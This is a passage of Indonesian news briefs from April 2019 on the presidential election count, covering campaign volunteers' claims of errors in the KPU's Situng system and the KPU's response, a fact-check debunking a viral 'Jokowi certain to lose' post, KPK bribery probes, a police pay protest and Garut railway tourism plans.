terjadi,” ujarnya. Mustofa mendesak Bawaslu segera turun tangan dan KPU membuka diri untuk dilakukan audit forensik. “ Kami siap membantu. Semua data kesalahan kami rekam jejak digitalnya,” tambahnya. Mustofa juga mempertanyakan pernyataan Ketua KPU Arief Budiman Bahwa Situng KPU hanya untuk bahan publikasi, bukan hasil Pemilu. “ Pernyataan semacam ini sangat berbahaya karena terkesan lari dari tanggung jawab,” tegasnya. end

KPU Tanggapi Pernyataan BPN soal Temuan 9 Ribu Lebih Kesalahan Input

Jakarta, FNN - Komisi Pemilihan Umum (KPU) menyatakan, hasil penghitungan suara ‘real count’ yang tertera dalam Sistem Informasi Perhitungan Suara (Situng) dapat dikoreksi. Ketua KPU, Arief Budiman mengatakan, kesalahan input dalam Situng yang jumlahnya mencapai ribuan seperti diungkapkan Badan Pemenangan Nasional (BPN) Prabowo-Sandi, akan menjadi benar saat rekapitulasi final di tingkat nasional. “Ruang untuk terjadinya koreksi itu sangat mungkin dilakukan,” ujar Arief di kantor KPU, Jalan Imam Bonjol, Jakarta Pusat, Senin (29/4/2019). Arief mengungkapkan, bahwa Situng hanya sekadar alat agar progres rekapitulasi penghitungan suara transparan, serta terus diikuti masyarakat. Hasil perolehan suara di Situng akan terus berubah. Sementara itu, hasil akhir Pemilu 2019 juga akan ditetapkan berdasarkan data hasil perhitungan manual yang hingga saat ini masih terus berjalan di seluruh Indonesia. “Situng tidak jadi bahan yang digunakan untuk penetapan (hasil Pemilu),” ujar Arief. Arief melanjutkan, koreksi input misalnya dapat dilakukan saat rekapitulasi berpindah dari tingkat kota ke provinsi. Penyempurnaan hasil penghitungan suara yang terus dilakukan hingga ke tingkat nasional, akhirnya akan menjadi hasil final Pemilu 2019. “Kalau ada yang salah, makanya nanti dikoreksi di jenjang berikutnya. Toh nanti yang (penghitungan) manual itu yang dijadikan dasar (penetapan hasil Pemilu),” ujar Arief. Sebelumnya, Tim relawan IT Badan Pemenangan Nasional (BPN) Prabowo Subianto-Sandiaga Uno mengklaim telah menemukan 9.440 kesalahan input di aplikasi Sistem Penghitungan Suara Komisi Pemilihan Umum. Temuan itu diperoleh dari hasil verifikasi manual di Web Situng KPU dalam seminggu sejak tanggal 18 hingga 29 April 2019. Koordinator Relawan IT BPN, Mustofa Nahrawardaya mengatakan, timnya telah meneliti 172.174 TPS dari 404.290 TPS yang sudah masuk ke Web Situng KPU atau sebanyak 42 persen. Dari total data TPS yang sudah diverifikasi ditemukan error sebanyak 6 persen. “Dalam setiap hari kami menemukan lebih dari 1.000 kesalahan entry. Kesalahan itu meliputi selisih suara, jumlah pemilih melebihi DPT, dan jumlah suara sah tidak cocok dengan total suara,” kata Mustofa di Media Center Prabowo-Sandi, Jalan Sriwijaya, Jakarta Selatan, Senin, (29/4/2019). (viva)

Tim Relawan IT BPN Akan Laporkan Kesalahan Situng KPU ke Bawaslu

Jakarta, FNN - Relawan IT BPN akan melaporkan ribuan kesalahan entry data dalam sistem aplikasi penghitungan suara (Situng) KPU kepada Bawaslu dan KPU. Dengan laporan tersebut diharapkan Bawaslu dan pihak terkait bisa mengkaji dan mengambil tindakan lebih konkrit. “Semula kami berencana akan melaporkan temuan ini hari Rabu 1 Mei. Tapi karena Rabu hari libur Mayday, Insya Allah hari Kamis tanggal 2 Maret kami akan ke Bawaslu dan KPU. Sekalian menunggu audit manual yang dilakukan oleh teman-teman hari ini dan besok selesai,” kata Koordinator Relawan IT BPN Mustofa Nahrawardaya, pada Selasa 30 April 2019. Senin (29/4) Mustofa menggelar hasil audit manual terhadap aplikasi Situng KPU. Dalam waktu tiga hari ( 27-29 April) mereka menemukan 9.440 kesalahan input. Kesalahan itu meliputi selisih suara, jumlah pemilih melebihi DPT, dan jumlah suara sah tidak cocok dengan total suara. Kesalahan terbanyak pada input data dari Provinsi Jawa Barat, Jawa Tmur, dan Jawa Tengah. “Setiap hari kami menemukan lebih dari 1.000 kesalahan. Polanya sangat konsisten,” tambah Mustofa. Tim Relawan IT BPN akan terus melakukan audit manual, dan diharapkan publik akan mendapat update data setiap hari. Dari data tersebut publik akan mendapat gambaran secara faktual dan berdasarkan data adanya kecurigaan terjadi kecurangan yang terstruktur, sistematis, dan massif (TSM). “ Setiap hari Insya Allah kami akan menyerahkan ke KPU dan Bawaslu sekalipun tidak diminta,” pungkas Mustofa. (end)

BPN IT Volunteers to Report to Bawaslu Incorrect KPU Real Count Data

Jakarta, FNN — IT Volunteer Group on the National Committee to Elect Prabowo-Sandi (BPN) will submit a report to The Election Supervisory Body (Bawaslu) and the General Elections Commission (KPU) that notes thousands of incorrect data entries into KPU’s vote counting platform. The report is expected to push Bawaslu and other responsible authorities to review and take concrete steps to address the matter. "At first, we planned to submit the report on Wednesday, May 1, but because it will be in conjunction with labor day, we will proceed with the submission on Thursday, May 2 to Bawaslu and KPU. We will be waiting for our team to finish the manual audit of the data, which is expected to be done tomorrow," BPN IT Volunteer Group Coordinator Mustofa Nahrawardaya said Tuesday. BPN’s IT volunteer group found 9,440 incorrect data entry on KPU’s real count website during the period of April 27 to Apr. 29, 2019. The team observed data from 172,174 polling stations out of 404,290, which is 42% of the total polling stations across Indonesia. Out of all the data observed, 6 percent of them were incorrect. "Everyday, we found more than one thousand incorrect data entry. These mistakes include inaccurate vote difference, numbers of total voters that exceed those subjected in the Final Voters List (DPT), and invalid ballots that don't add up to the total number of voters,” Nahrawardaya said Monday during a press conference at the Prabowo-Sandi Media Center. The findings were consistent over the three-day inspection, and no changes were made for such inaccuracies. Most mistakes were found in West Java (764 polling stations, 8% of total mistakes), Central Java (706 polling stations, 7.4% of total mistakes) and East Java (385 polling stations, 4% of total mistakes). "We also found indications of an explicit motive. In certain regions, the data would favor the 01 candidate, and subsequently disadvantage the 02 candidate. There is a constant motive... this is suspicious," Nahrawardaya said. BPN Spokespersons Coordinator Dahnil Anzar Simanjuntak said that KPU's data entry inaccuracies is a very serious matter. "Seeing how high the percentage of these mistakes is, we urgently urge arrangement of a fact finding team for electoral fraud, and to perform forensic auditing on KPU's real count platform,” Simanjuntak added during the Monday conference. Simanjuntak added that he strongly demands such actions to be executed in the hopes of ensuring high-quality democracy and eliminating doubts on the system and on the technicalities surrounding post-election activities. BPN’s IT Volunteer group will continue to execute the manual audit. This is so the public can receive daily updates on the data. From the data collected, the public can have a clear, factual, data-based illustration of the suspected structural, systematic, and massive fraud. "We will submit a daily report [on the findings] to KPU and Bawaslu even if they don't request for it," Mustofa said.

Tim Relawan IT BPN Temukan 9.440 Kesalahan Situng KPU

Jakarta, FNN – Tim relawan IT BPN menemukan 9.440 kesalahan input di apikasi Sistem Penghitungan Suara (Situng) KPU. Temuan itu diperoleh dari hasil verifikasi manual di Web Situng KPU dalam tiga terakhir (27-29 April 2019). Tim telah meneliti 172.174 PS dari 404.290 TPS yang sudah masuk ke Web Situng KPU (42 %). Dari total data TPS yang sudah diverifikasi ditemukan error sebanyak 6 %. “Dalam setiap hari kami menemukan lebih dari 1.000 kesalahan entry. Kesalahan itu meliputi selisih suara, jumlah pemilih melebihi DPT, dan jumlah suara sah tidak cocok dengan total suara,” kata Koordinator Relawan IT Mustofa Nahrawardaya. Temuan kesalahan itu konsisten dalam tiga hari terakhir dan tidak ada perbaikan. Kesalahan terbesar berasal dari provinsi Jawa Barat, Jawa Tengah dan Jawa Timur. Di Jabar ditemukan kesalahan di sebanyak 764 TPS ( 8 persen), Jateng 706 TPS ( 7,4 %), Jatim 385 ( 4 %). Total kesalahannya mencapai 19,4 persen. “Kami juga menemukan indikasi ada pola input dari daerah tertentu tinggi yang menguntungkan Paslon 01, dan merugikan Paslon 02. Polanya sangat baku dan konsisten. Ada yang sangat cepat, tapi ada yang sangat lambat. Ini sangat mencurigakan,” tambah Mustofa. Angkanya sangat mirip dan konsisten dengan hasil quick count yang dipublikasikan oleh lembaga survei. “ Kebetulan ini sangat tidak masuk akal.” Juru Bicara BPN Dahnil Anzar Simanjuntak menilai kesalahan input yang dilakukan oleh KPU sangat serius. “Melihat besarnya prosentase kesalahan input tuntutan untuk membentuk Tim Pencari Fakta kejahatan pemilu dengan agenda utama audit forensik Situng KPU sangat mendesak,” ujarnya. Langkah tersebut sangat diperlukan untuk menjaga kualitas demokrasi dari hal-hal teknis yang diragukan dan membuat sistem itu tidak dipercaya oleh publik. (sws)

Cawapres Sandiaga Uno Beri Semangat ke Relawan Pengawal C-1

Jakarta, FNN - Calon Wakil Presiden RI Sandiaga Uno Memberikan Semangat ke Relawan yang sedang Mengawal C1 di PPK Cilandak, Cilandak Barat, Jakarta Selatan. (Senin, 29/4) Foto : Fachreza Sandi Putra / Dokumentasi Pribadi SSU

Polisi Unjuk Rasa Pertanyakan Honor Pemilu

Halmahera Selatan, FNN -- Ratusan personel polisi di Kabupaten Halmahera Selatan (Halsel), Maluku Utara, menggelar aksi protes di halaman Mapolres Halsel, Senin (29/4). Mereka mempertanyakan anggaran pengamanan Pemilu 2019 yang dinilai terlalu kecil. Pasalnya, rata-rata tahapan pemilu berlangsung molor dari jadwal semula sementara para personel tidak mendapat honor tambahan. Dalam aksi protes tersebut, anggota polisi sempat membakar ban. Mereka juga memprotes ucapan salah satu pejabat Polres yang mengancam akan memutasi anggota yang mempertanyakan honor pengamanan. Bahkan, mereka menyegel ruangan Kepala Bagian Operasional Polres Halsel. Kapolda Maluku Utara Brigadir Jenderal Suroto mengatakan aksi tersebut dilatarbelakangi persoalan anggaran pengamanan pemilu. Dia menuturkan, sesuai jadwal, para anggota ditugaskan mengawal tahapan pemungutan dan penghitungan suara selama 3 hari, serta pleno selama 5 hari. Selama pengamanan tersebut anggota diberi honor Rp171 ribu per hari. "Itu terdiri atas uang saku Rp 53 ribu, uang makan Rp 97 ribu, jasa angkut Rp 12 ribu, bekal kesehatan Rp 9 ribu," kata Suroto. Namun masalah mulai muncul ketika tahapan pemilu berlangsung molor. Akibatnya, masa pengamanan bertambah panjang. Di sisi lain, honor pengamanan anggota tak ditambah. "Padahal anggota berangkat sekaligus mengawal kotak suara sejak tanggal 14 (April). Tapi ternyata di TPS molor, PPK molor, bahkan yang di PPK sampai sekarang pleno masih berlangsung. Nah permasalahannya di situ," kata Suroto. Polisi di Halsel juga memprotes perbedaan anggaran pengamanan yang mereka dapat dengan yang didapat personel bantuan dari Polda Maluku Utara. Menurut Suroto, personel bantuan dari Polda yang diterjunkan ke kabupaten mendapat tambahan honor untuk akomodasi sebesar Rp100 ribu per hari. "Nah ternyata di lapangan mereka (anggota polisi) saling cerita (perbedaan honor). Ini mungkin yang belum dijelaskan oleh pihak Polres. Yang jelas hak anggota tidak akan kami potong. Ini hanya kesalahan prediksi waktu, sementara anggaran yang diberikan negara memang segitu," ujarnya. Suroto telah mengutus Wakapolda untuk menyelesaikan persoalan tersebut. "Yang pasti pengamanan pemilu tetap berjalan seperti biasa. Tidak ada masalah. Nanti akan kita carikan solusinya," katanya.

KPK Geledah Ruang Kerja Mendag Enggartiasto

Jakarta, FNN - KPK menggeledah ruang kerja Menteri Perdagangan (Mendag) Enggartiasto Lukita. Penggeledahan itu berkaitan dengan kasus suap yang menjerat anggota DPR Bowo Sidik Pangarso. "Sebagai bagian dari proses penyidikan perkara tindak pidana korupsi dugaan gratifikasi yang berhubungan dengan jabatan dengan tersangka BSP (Bowo Sidik Pangarso), KPK melakukan kegiatan penggeledahan di kantor Kementerian Perdagangan di ruang Menteri Perdagangan sejak pagi ini," kata Kabiro Humas KPK Febri Diansyah pada wartawan, Senin (29/4/2019). "Penggeledahan masih berlangsung di lokasi tersebut," imbuh Febri. Bowo menjadi tersangka di KPK karena diduga menerima suap dari Marketing Manager PT Humpuss Transportasi Kimia (HTK) Asty Winasti lewat seorang bernama Indung. KPK juga telah menetapkan Asty dan Indung menjadi tersangka. Asty diduga memberi Bowo duit Rp 1,5 miliar lewat 6 kali pemberian serta Rp 89,4 juta yang diberikan Asty kepada Bowo lewat Indung saat operasi tangkap tangan terjadi. Suap itu diduga agar Bowo membantu PT HTK dalam proses perjanjian dengan PT Pupuk Indonesia Logistik. Selain suap, KPK menduga Bowo menerima gratifikasi Rp 6,5 miliar dari pihak lain sehingga total penerimaan Bowo berjumlah Rp 8 miliar. Total Rp 8 miliar itu kemudian disita dalam 400 ribu amplop di dalam puluhan kardus. Menurut KPK, duit itu diduga hendak digunakan sebagai serangan fajar untuk Pemilu 2019. Nah, pihak lain yang memberikan gratifikasi kepada Bowo itu salah satunya disebut dari Direktur Utama PT PLN nonaktif Sofyan Basir, meski kemudian dibantah pengacara Sofyan. Selain itu, ada keterangan dari pengacara Bowo bahwa ada menteri pula yang memberikan uang ke Bowo. (detik)

Jokowi Dipastikan Kalah dalam Pilpres 2019

Jakarta, FNN - Masa Pilpres 2019 sudah lewat dan kini hanya tinggal menunggu hasil penghitungan suara dilakukan oleh KPU. Di masa penantian ini, sejumlah kabar berseliweran. Salah satunya seperti yang diunggah akun Facebook Baihaqi Rahmadani. Ia mengunggah sebuah video pada Senin, 22 April 2019. Isi video tersebut mengklaim, tentang pasangan capres cawapres 01 Joko Widodo (Jokowi)-Ma'ruf Amin dipastikan kalah pada kontestasi Pilpres 2019. "Jokowi di pastikan kalah menurut UUD 1945 pasal 6A ayat 3 tolong viral kan ya teman" tulis Baihaqi Rahmadani menyertai unggahan videonya. Unggahan video tersebut sudah dilihat 36 ribu kali dan mendapat tanda suka 316. Unggahan itu juga dibagikan sebanyak 3.520 kali. Ada 109 komentar di dalamnya. Fakta Kementerian Komunikasi dan Informatika atau Kominfo sudah angkat bicara mengenai berita tersebut. Bahkan sebelum akun Facebook bernama Baihaqi Rahmadani menyebarkan melalui sosial medianya. Kominfo menggunggah artikel yang berjudul [DISINFORMASI] Jokowi Dipastikan Tidak Menang Pilpres 2019 Walaupun Suara Di Atas 50% pada Minggu, 21 April 2019. [Cek Fakta] Beredar Video Penjelasan soal Jokowi Tidak akan Bisa Menang dalam Pilpres 2019, Benarkah? "KATEGORI: DISINFORMASI Penjelasan : Telah beredar sebuah postingan yang memberikan keterangan bahwa Jokowi dipastikan tidak menang pilpres 2019 walaupun perolehan suara di atas 50% karena 3 syarat pasal 6a ayat 3 UUD 1945 selain menang di atas 50% juga harus memenangkan suara di 1/2 jumlah provinsi serta di 17 provinsi yang kalah suara harus di atas 20%. Faktanya adalah Pakar hukum tata negara Yusril Ihza Mahendra menegaskan bahwa penentuan pemenangan pilpres jika hanya diikuti oleh dua pasangan calon presiden-wakil presiden hanya berdasarkan jumlah suara terbanyak. Bagi pasangan calon (paslon) yang meraih suara terbanyak, maka yang bersangkutan dinyatakan menang dan dilantik KPU menjadi presiden dan wakil presiden. Link Counter : https://www.beritasatu.com/nasional/549817-pilpres-2019-yusril-penentuan-pemenang-berdasarkan-suara-terbanyak.html?fbclid=IwAR3Aij8UqfOFyfT5jALZJs6QYePcDsz9dzFkfCxiVd4svhNUdNoSdkcH66c https://www.hukumonline.com/berita/baca/lt53b54418c9eaf/mk-putuskan-pilpres-2014-satu-putaran?fbclid=IwAR216-j6h8CtLw1lxwpFKXQT6ji2tQOTLiytBEOZnlcm6m-CtovZjq0ritk http://www.dpr.go.id/jdih/perkara/id/169/id_perkara/703?fbclid=IwAR23XP8H2BZk-d_PCgpn-EfLzb27c9fHbDtSGMx5zhd6b1qtbF6_DcpX0LQ" Salah satu sumbernya adalah artikel hukumonline.com yang berjudul, MK Putuskan Pilpres 2014 Satu Putaran yang dipublikasikan pada Kamis, 3 Juli 2014 lalu. [Cek Fakta] Beredar Video Penjelasan soal Jokowi Tidak akan Bisa Menang dalam Pilpres 2019, Benarkah? "Akhirnya, majelis hakim Mahkamah Konstitusi (MK) mengabulkan permohonan uji materi Pasal 159 ayat (1) UU No. 42 Tahun 2008 tentang Pemilihan Presiden dan Wakil Presiden (UU Pilpres) terkait syarat sebaran pemenangan pilpres yang diajukan Forum Pengacara Konstitusi. Mahkamah menyatakan Pasal 159 ayat (1) UU Pilpres inkonstitusional bersyarat sepanjang pilpres hanya diikuti dua pasangan calon (paslon) presiden dan wakil presiden. Dengan begitu, pelaksanaan Pilpres 2014 yang hanya diikuti dua pasangan calon dipastikan bakal berlangsung satu putaran dengan mekanisme suara terbanyak. Syarat sebaran 20 persen telah dinyatakan tidak berlaku. “Pasal 159 ayat (1) UU Pilpres bertentangan dengan UUD 1945 dan tidak mempunyai kekuatan hukum mengiat sepanjang tidak dimaknai tidak berlaku untuk pasangan calon presiden dan wakil presiden yang hanya terdiri dari dua pasangan calon,” tutur Ketua Majelis MK, Hamdan Zoelva saat membacakan putusan bernomor 50/PUU-XII/2014 di ruang sidang MK, Kamis (03/7). Uji materi UU Pilpres itu diajukan tigapemohon yakni Forum Pengacara Konstitusi, Perkumpulan untuk Pemilu dan Demokrasi (Perludem), dan dua orang advokat atas nama Sunggul Hamonangan Sirait dan Haposan Situmorang. Ketiga pemohon meminta tafsir atas syarat sebaran perolehan suara 20% dalam Pasal 159 ayat (1) UU Pilpres dihubungkan dengan Pasal 6A ayat (3) dan (4) UUD 1945 demi kepastian hukum. Namun, putusan permohonan Perludem dan dua advokat itu dinyatakan nebis in idem. Pasal 159 ayat (1) tak merinci jumlah paslon karena pengertian paslon terpilih melekat syarat limitatif. Pasangan calon harus memperoleh suara lebih 50 persen dan sedikitnya 20 persen suara di setiap provinsi yang tersebar di setengah jumlah provinsi di Indonesia. Persoalannya, jika syarat limitatif itu tak terpenuhi sangat mungkin pilpres terjadi dua putaran sekalipun pilpres hanya diikuti dua paslon seperti Pilpres tahun ini. Dengan terjadinya dua putaran dengan pasangan calon presiden yang sama mengakibatkan pemborosan keuangan negara dan menimbulkan ketidakstabilan politik. Karena itu, Pasal 159 ayat (1) UU Pilpres dinyatakan bertentangan dengan UUD 1945 dan tidak memiliki hukum mengikat sepanjang tidak dimaknai bahwa pasangan calon dimaksud lebih dari dua pasangan calon. Dalam pertimbangannnya, Mahkamah mengakui risalah pembahasan Pasal 6A ayat (3) UUD 1945 tidak membicarakan secara ekspresis verbis apabila pasangan calon presiden dan wakil presiden terdiri dari dua paslon. Hanya saja, saat perubahan ketiga, muncul persoalan yang belum terselesaikan bagaimana solusinya jika pasangan calon presiden tidak ada yang memenuhi syarat Pasal 6A ayat (3) UUD 1945. Bagaimana kalau terjadi pasangan calon hanya terdiri dari dua pasangan calon? Ada dua pilihan. Pertama, dua pasangan yang memperoleh suara terbanyak pertama, atau kedua dipilih kembali oleh rakyat atau dipilih oleh MPR. “Pada perubahan keempat UUD 1945 diputuskan untuk dipilih langsung oleh rakyat tanpa memperhatikan persyaratan yang ditentukan Pasal 6A ayat (3) UUD 1945,” kata Hakim Konstitusi Muhammad Alim. Meski tidak ada penegasan Pasal 6A ayat (3) UUD 1945 dikaitkan konteks lahirnya Pasal 6A UUD 1945, dapat ditarik kesimpulan pembahasan saat itu terkait dengan asumsi pasangan calon presiden dan wakil presiden lebih dari dua pasangan calon. Selain itu, atas dasar penafsiran gramatikal dan sistematis makna keseluruhan pasal 6A UUD 1945 menyiratkan pasangan calon lebih dari dua pasangan calon. Menurut Mahkamah jika sejak semula hanya ada dua pasangan calon, tidak perlu ada penegasan kalimat “dua pasangan calon yang memperoleh suara terbanyak pertama dan kedua...” dalam Pasal 6A ayat (4) UUD 1945. Sebab, dengan dua pasangan tentulah salah satu diantara keduanya memperoleh suara terbanyak pertama atau kedua. “Prinsip paling penting adalah kedaulatan rakyat, sehingga presiden terpilih memperoleh legitimasi kuat dari rakyat.” Terkait Pilpres 2014 yang hanya diikuti dua pasangan calon, Mahkamah berpendapat tahap pencalonan pasangan calon presiden dan wakil presiden telah memenuhi prinsip representasi keterwakilan Indonesia karena calon presiden sudah didukung oleh gabungan partai politik nasional yang merepresentasikan keterwakilan seluruh wilayah Indonesia. “Dengan demikian tujuan kebijakan pemilihan presiden yang mepresentasikan seluruh rakyat dan daerah di Indonesia sudah terpenuhi,” kata Alim. Karena itu, Pasal 159 ayat (1) UU Pilpres harus dimaknai apabila terdapat lebih dari dua pasangan calon presiden dan wakil presiden. Artinya, jika hanya ada dua pasangan calon presiden dan wakil presiden, pasangan calon yang memperoleh suara terbanyak seperti dimaksud Pasal 6A ayat (4) UUD 1945 tidak perlu dilakukan pemilihan langsung oleh rakyat pada pemilihan kedua. Dissenting Putusan ini diwarnai perbedaan pendapat (dissenting opinion) dari dua hakim konstitusi yakni Patrialis Akbar dan Wahiduddin Adams. Patrialis Akbar sepakat jika pilpres dilakukan satu putaran dengan tetap memberlakukan Pasal 159 ayat (1) UU Pilpres. Ketika hanya ada dua pasangan capres dan cawapres, pasal itu diberlakukan secara konstitusional bersyarat dengan melakukan tahapan perhitungan perolehan suara. Misalnya, perhitungan tahap pertama untuk menentukan capres dan cawapres terpilih berdasarkan Pasal 6A ayat (3) UUD 1945 dengan sedikitnya 20 persen suara di setiap provinsi yang tersebar lebih dari setengah jumlah provinsi di Indonesia. Apabila, perhitungan tahap pertama tidak terpenuhi baru dilakukan tahap kedua dengan hanya menggunakan suara terbanyak tanpa mempertimbangkan sebaran pemilih. “Apabila ketentuan Pasal 159 ayat (1) dimaknai bertentangan dengan UUD 1945 jika capres-cawapres hanya diikuti dua pasangan calon maka telah terjadi pengabaian terhadap Pasal 6A ayat (3) UUD 1945,” tandas Patrialis. Wahiduddin Adams menyatakan persebaran suara yang diperoleh capres cawapres secara nasional tidak bisa diabaikan. Sebab, langkah ini untuk menghindari terjadinya fenomena capres-cawapres yang hanya fokus berkampanye di daerah-daerah yang padat pemilihnya. Dia khawatir jika kondisi hanya terdapat dua pasangan capres-cawapres, Pasal 159 ayat (1) tidak diberlakukan, tidak menutup kemungkinan akan lahir presiden yang hanya mewakili daerah strategis saja. “Representasi suara di daerah yang kurang strategis akan hilang begitu saja,” katanya. Selain itu, Pilpres 2014 yang dilaksanakan cukup satu putaran pun akan menimbulkan permasalahan hukum karena pelaksanaannya tidak sesuai dengan Pasal 6A UUD 1945. Usai persidangan, Sekjen Forum Pengacara Konstitusi, Heru Widodo menegaskan putusan MK menunjukkan bahwa UUD 1945 memang tidak memberi jawaban atau jalan keluar jika pasangan capres dan cawapres hanya dua pasangan calon. “Perubahan UUD 1945 tidak pernah terpikir hanya dua pasangan calon jika dihubungkan dengan kondisi saat ini,” kata Heru. Menurut dia, MK telah memberikan tafsir yang jelas terhadap kondisi pilpres yang hanya diikuti dua pasangan calon. Dengan demikian, pihaknya berharap Komisi Pemilihan Umum (KPU) segera menyesuaikan peraturannya sesuai dengan putusan MK ini. “Peraturan KPU itu tidak berlaku dan harus menyesuaikan dengan putusan MK ini,” harapnya."

Jokowi Kalah di TPS Kompleks Paspampres Kramatjati

Jakarta, FNN - Capres dan Cawapres nomor urut 1 Jokowi – Maruf Amin kalah telak dari pesaingnya, Prabowo Subianto – Sandiaga Uno, di Kompleks Paspampres, Kelurahan Kampung Tengah, Jakarta Timur. Dari delapan tempat pemungutan suara (TPS) yang ada di sana, Jokowi hanya unggul di satu TPS dari Prabowo. Berdasarkan data yang dihimpun dari KPU RI melalui situs Sistem Informasi Penghitungan Suara (Situng), Jokowi diketahui hanya unggul dari Prabowo di TPS 081. Sedangkan di tujuh TPS lainnya yakni TPS 078, TPS 079, TPS 080, TPS 082, TPS 083 dan TPS 084, Prabowo jauh mengungguli Jokowi. Pada TPS 078, Jokowi memperoleh 66 suara dan Prabowo memperoleh 108 suara. Kemudian di TPS 079 Jokowi memperoleh 121 suara dan Prabowo 131 suara. Selanjutnya, di TPS 081 Jokowi unggul dengan perolehan suara sebanyak 122 suara dan Prabowo 109 suara. Pada TPS 082 Jokowi hanya memperoleh 67 suara, dan Prabowo unggul dengan 155 suara. Sementara di TPS 083, Jokowi kembali kalah dengan perolehan 89 suara dan Prabowo unggul dengan 137 suara. Terakhir, di TPS 084 Jokowi lagi-lagi kalah dengan 89 suara dan Prabowo unggul dengan 118 suara. Sedangkan berdasarkan hasil penghitungan suara nasional sementara Pilpres 2019 yang diunggah KPU RI melalui Situng hingga Rabu (24/4/2019) pukul 19.30 WIB, menunjukkan pasangan Jokowi –Maruf masih menggungguli pasangan Prabowo Subianto – Sandiaga Uno. Jokowi – Maruf Amin memeroleh 55,81 persen atau 25.653.019 suara. Sementara Prabowo Subianto – Sandiaga Uno memeroleh 44,19 persen atau 20.312.114 suara. Rekapitulasi suara sementara ini berdasarkan penghitungan formulir C1 yang masuk dari 244.576 dari total 813.350 TPS yang ada di seluruh Indonesia dan luar negeri. Cakupan suara TPS yang telah direkapitulasi KPU RI mencapai 30,07 persen dari total keseluruhan TPS yang ada. Sebelumnya, Rabu siang pukul 12.30 WIB, Jokowi – Maruf unggul hampir 4,89 juta suara pemilih dibandingkan Prabowo – Sandiaga.

Dirut Pertamina Jadi Saksi Suap Sofyan Basyir

Jakarta, FNN - KPK memanggil Direktur Utama Pertamina Nicke Widyawati terkait kasus dugaan suap proyek PLTU Riau-1. Dia dipanggil sebagai saksi untuk tersangka Dirut PLN nonaktif Sofyan Basyir. "Dipanggil sebagai saksi untuk SFB (Sofyan Basir)," kata Kabiro Humas KPK Febri Diansyah kepada wartawan, Senin (29/4/2019). Nicke dipanggil dalam kapasitasnya sebagai eks Direktur Pengadaan Strategis 1 PT PLN. Selain Nicke, KPK juga memanggil Direktur Perencanaan Korporat PLN Syofvi Felienty Roekman, Senior Vice President Legal Corporate PLN Dedeng Hidayat, dan Direktur Bisnis Regional Maluku dan Papua PT PLN, Ahmad Rofik.Nicke sebelumnya juga pernah diperiksa terkait kasus dugaan suap proyek PLTU Riau-1 pada Senin (17/9/2018). Saat itu, KPK mencecar Nicke soal pertemuannya dengan mantan Wakil Ketua Komisi VII DPR Eni Maulani Saragih, yang saat itu masih berstatus tersangka di kasus ini. "Ada informasi yang kami klarifikasi juga terkait dengan apakah pernah bertemu dengan tersangka EMS, kapan, di mana, dan apa pembicaraannya," kata Kabiro Humas KPK Febri Diansyah. Saat itu, Nicke mengaku diperiksa terkait tugas pokoknya selama menjabat Direktur Perencanaan PLN. Dia tak menjelaskan detail materi pemeriksaannya."Seputar tupoksi saya sebagai Direktur Perencanaan PT PLN," kata Nicke setelah menjalani pemeriksaan di gedung KPK, Jl Kuningan Persada, Jakarta Selatan. Sofyan ditetapkan KPK sebagai tersangka karena diduga membantu mantan anggota DPR Eni Saragih mendapatkan suap dari pengusaha Johanes Budisutrisno Kotjo. KPK menduga Sofyan dijanjikan jatah yang sama dengan Eni dan Idrus yang lebih dulu diproses dalam kasus ini.KPK menduga Sofyan berperan aktif memerintahkan jajarannya agar kesepakatan dengan Kotjo terkait proyek PLTU Riau-1 segera direalisasi. KPK menyebut ada berbagai pertemuan di hotel, restoran, kantor PLN, dan rumah Sofyan terkait pembahasan proyek ini. Saat diumumkan sebagai tersangka, Sofyan sedang berada di Prancis untuk keperluan pekerjaan. Kini, setelah pulang dari Prancis, KPK telah meminta Imigrasi mencegah Sofyan pergi ke luar negeri. Sofyan berjanji akan kooperatif. "Pak Sofyan Basir sudah kembali ke Jakarta. Sempat komunikasi intinya insyaallah beliau akan kooperatif," kata pengacara Sofyan, Soesilo Ariwibowo, kepada detikcom, Jumat (26/4).

Moda Kereta Api Dorong Pariwisata Garut

Jakarta, FNN - Reaktivasi atau pengaktifan kembali jalur kereta api (KA) di Jawa Barat bagian selatan diharapkan mampu benar-benar mendorong kemajuan pariwisata di wilayah Garut, Pangandaran, dan Ciwidey. Reaktivasi jalur KA ini sejak awal ditujukan untuk mendorong kemajuan sektor pariwisata yang dampaknya akan meningkatkan ekonomi masyarakat. Kementerian Perhubungan menginisiasi 4 proyek reaktivasi jalur KA meliputi Cibatu-Garut-Cikajang (47,5 km), Rancaekek-Tanjungsari (11,5 km), Banjar-Pangandaran-Cijulang (82 km), dan Bandung-Ciwidey (37,8 km). “Reaktivasi keempat jalur KA ini untuk mendukung pariwisata yang ada di Garut, Pangandaran, dan Ciwidey sebagai destinasi wisata unggulan Jawa Barat,” kata Menteri Perhubungan (Menhub) Budi Karya Sumadi. Menpar Arief Yahya menjelaskan, konektivitas kereta api sebagai unsur penting dari 3A (Atraksi, Amenitas, dan Aksesibilitas) sangat digemari wisatawan karena nyaman. “Wisatawan bisa menggunakan kereta api wisata yang dioperasikan oleh PT KAI,” kata Arief Yahya dalam keterangan yang diterima Kontan.co.id, Minggu (28/4). Menpar Arief Yahya mengatakan, 4 jalur KA hasil reaktivasi akan menjadi konektivas utama ke obyek wisata yang ada di Garut, Ciwidey, dan Pangandaran. “Dari Bandung ke obyek wisata Situ Bagendit melalui Stasiun Cibatu hanya sekitar 1,5 jam. Sepanjang perjalanan wisatawan dapat menikmati pemandangan alam dari kereta api. Ini perjalanan yang ideal bagi wisatawan,” imbuh Arief Yahya. Ke depan obyek wisata Situ Bagendit akan direvitalisasi dan ditata ulang agar menjadi destinasi yang lebih menarik dan berkelas dunia. “Untuk menarik wisatawan milenial, Kemenpar bersama Bupati Garut akan membangun tiga destinasi digital,” kata Arief Yahya. Gubernur Jawa Barat (Jabar) Ridwan Kamil menjelakan, Pemprov Jabar telah mengalokasikan anggaran sebesar Rp 30 miliar dan Pemerinah Pusat melalui Kementerian PUPR sebesar Rp 100 miliar untuk merevitalisasi obyek wisata Situ Bagendit. “Kami menargetkan tahun depan revitalisasi akan selesai sehingga ketika kita kembali ke sini sudah banyak perubahan,” kata Ridwan Kamil. Bupati Garut Rudy Gunawan mengatakan, melalui kegiatan pariwisata ekonomi masyarakat di sekitar obyek wisata Situ Bagendit semakin meningkat dan angka kemiskinan dapat turun hingga 2%. “Kegiatan pariwisata berdampak langsung pada kesejahteraan masyakat,” kata Rudy Gunawan. (kontan)

Satgas Waspada Investasi: Banyak Fintech Ilegal dari China, AS, Singapura, Malaysia

